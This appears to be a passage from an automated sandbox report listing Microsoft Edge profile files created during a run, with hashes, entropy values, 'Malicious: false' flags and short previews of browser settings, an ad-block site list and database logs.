SHA-256:	2696EC32DFA15DBDB8E8E94F9689AFCBB4EC85BA122595F9FCC0016F6708756B
SHA-512:	6BE5754C5B44C1B68011EA335E6EA9AE1A4EA53A7D403CD15ADA9F9B0EDF8167AFB238CF040F3E3DD22CA49387C779910EF06DC02290F6637BE909BC72421CAB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9b2570c0-46ed-47fb-99d3-06a834657834.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46299
Entropy (8bit):	6.088589605826956
Encrypted:	false
SSDEEP:	768:+MkbJrT8IeQc5dKELSi1zNtNGX+ku7Lp9U2KKhIQmxgpCio2JDSgzMMd6qD47u3B:+Mk1rT8H1K0GX+nPIQ9Fo2tSmd6qE7M
MD5:	0AA1FDB77A6D6F8C901E69F775B7BAFF
SHA1:	8E94A8AC156953FC802C3FF55A5DAE1A8533D270
SHA-256:	CB5B9C4AA26221A1F80CF12DD1046C43CD700BA8840528104DDFBD16AF5A6CB7
SHA-512:	44EE50DD206F20ABF92B2E43D6A87D2C1797A4C967EDDE61B8CAD8FC18118B3A534062C68FA4420BEAFA1311F058B960B5AA279D35B4772AB3811B722726C004
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377284672348955","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"453e9d9f-554a-4a29-91d4-370bd312e5da"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\3031c4b7-3751-40a9-8be1-b34c3b55159a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6748993F-2314.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45303360558667055
Encrypted:	false
SSDEEP:	3072:6v48TPtJ2TY0WhVe1F6vkcuTGyd/mgaUdk8jEJvqjfJ8rf+7g1HFeP:J8TaTv1FAkcuvxs8jEJvqj2rf+7aHAP
MD5:	B21FDC53C0A5454A793C60C57A8B656E
SHA1:	6A2335F4A25FFDCF539D04C4A34A659D618F8C8C
SHA-256:	E72A6F14D8634DDD6F30FF3082CD64C517EA7B5509494A9BDF7DBB40CC81AE51
SHA-512:	CD4B7D553D9CCAEB3BB66361A771C1E2F2FCF061396A934DACB05B8AAF81778840058BD8969E046A9101FC7E9E5E52A41AD0AF7181FE0776A20E1508AF2FF581
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".umvjqd20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\42e33f07-2314-47e0-a972-1d7e43232a5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17442), with no line terminators
Category:	dropped
Size (bytes):	17443
Entropy (8bit):	5.478129290079395
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypmVs6LgaFvrEgsukLNprkqxxjKOluPEUZrRD8UbV+Fpk:stKPGQSu4Os60CDV0WLPECLbGEQwDs3s
MD5:	44B8660377323D8C9733905CD887FCF3
SHA1:	FB7F02DCC319AFAE277F1512F334FF3424375DE4
SHA-256:	4CD5E437BD67D606A0C8F76AC1B81979FA96A59542BED1318B5DD19B35053E8D
SHA-512:	B7CB234A6C8D4542E5C40BC34E557B5F37E13B5CCE00F84D8C6FF6F5E5EA2B7F877BBF6F421907C3C4F9BE2B3493A13364FCEF321960B99D7BD715A0E1FDA058
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377284672246293","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\60b11fe9-3059-427a-b673-83cadf2e25f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35114
Entropy (8bit):	5.555954035255809
Encrypted:	false
SSDEEP:	768:OqE9I5WnzW5wHPf4LJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPRGIivvUrwXnyP//5:OhC5AzWaHPfUJu1ja0mnN38/ilto
MD5:	17D819CD6C4C6E50F174113D3ED505BD
SHA1:	DEC15D5FB299092F0938F358EEC53647FFDBD304
SHA-256:	0B8CF2AAAA9E31C23BAF75EFFCE6C93BB33900FA8D3FB862FA209E40F70240A4
SHA-512:	0B4977E411EBEB64FA70993385E98F474808220A96DADA2B576218E134029C919CD944A2FA2427C23D9617F091682B3D66E0CE7C9FC26C6D881485E76E762133
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377284671634041","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377284671634041","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\64e71967-fe81-4414-866f-f67ea68bafd2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561360323445055
Encrypted:	false
SSDEEP:	768:OqE9I5Woh7pLGLPVzW5wHPf4LJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPXkdGIiv3:OhC5HXcPVzWaHPfUJu1ja6kdmnN38Cth
MD5:	B81045F908216859C61013081454259C
SHA1:	F60F4DC97826A874195B38A87E4292DF985AD8F0
SHA-256:	29181CB687F95AC1D59D928DC6A13114FDF7D6624E0E20B1640D06013C553FFF
SHA-512:	BD81F2C9650D37C1CEA21F90222576D601D038F08CB097DB40BAA8DEC6E4323405FFD46ACCFB0E9E45A71A368A0C122343E4EAF4C345C33844134CED64192053
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377284671634041","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377284671634041","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6568adcb-04ee-4b35-84dc-d37ed19fdfb4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107686290918282
Encrypted:	false
SSDEEP:	192:stKkdpmVs6LgaFvrE9kjpD8UbV+FpCQA3UUPIYJ:stKQOs60CDZbGEQds
MD5:	CFE91804D6389E8D7095D035066EDE44
SHA1:	B22323B715E58C1CBDF73D21997BE203D615C709
SHA-256:	6A280A21F76A2ECFE57E363BC65317E31BD19B4F90875BBEE0DED756D0AEAA46
SHA-512:	1F3753E0D7847AE5988099C3B2114C7C13FB3F356FA7FF0404BB1BD637B0B782820F1231CC703D3F8F60B4BDCAC5DF1A240772CACC04FEE2BD3D7D75D10C4112
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377284672246293","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\84b83c82-896d-4e65-b456-f770decc1cb0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565915652286576
Encrypted:	false
SSDEEP:	768:Oq99m5WqzW5wHPf46J8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPWGIivQUrwXIPpgt9:OEo51zWaHPfHJu1ja/m4NPt9
MD5:	9A71E8404CBDAF8582E07F123FE82D43
SHA1:	01066344BD486C5A9CD23AE5191D92DA324FD8C7
SHA-256:	6B333A04D1DC4AD614C16955C217EF5E3B707F4D1CFF2D0F2B79A8A81E83A9F3
SHA-512:	AE4D3125282511D32F5BBA207D759F76C745AA5B7E248E693E8EF8199D6294EDB96150C626C93622A73C558D6CFE5BF378540D4FE7F6BCF5242E59C0FEBDDDAB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377284671634041","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377284671634041","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8b55f223-3790-4708-90e3-64a850db8c8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9cead56d-5572-4a87-aa77-28f272bb728f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.285938916666859
Encrypted:	false
SSDEEP:	6:HtAc81N723oH+Tcwtp3hBtB2KLlVtaOq2PN723oH+Tcwtp3hBWsIFUv:NwaYebp3dFLFaOvVaYebp3eFUv
MD5:	26F208737BF30236BFBD47B765906156
SHA1:	8A3C9DA3318A9324CD57E731B077E596F8D33166
SHA-256:	0CD0692C9A5DACC2693015AC96873940EF9566962AC594D41CDA909069EAB9A6
SHA-512:	917BD938ADFA13BB5E4402A07925A70AB339AAF6BE7195B15E5A204DF71256A92875A398CBFDBCF1FB890F86E40A64EFAC6C6027357E497B6DB2E00DC53E4466
Malicious:	false
Preview:	2024/11/28-11:24:36.553 1f70 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/28-11:24:36.995 1f70 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222884244750773
Encrypted:	false
SSDEEP:	24576:IbPMZpVsfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVsfx2mjF
MD5:	529BE23D2C8F9EE17A11FE7830E449E0
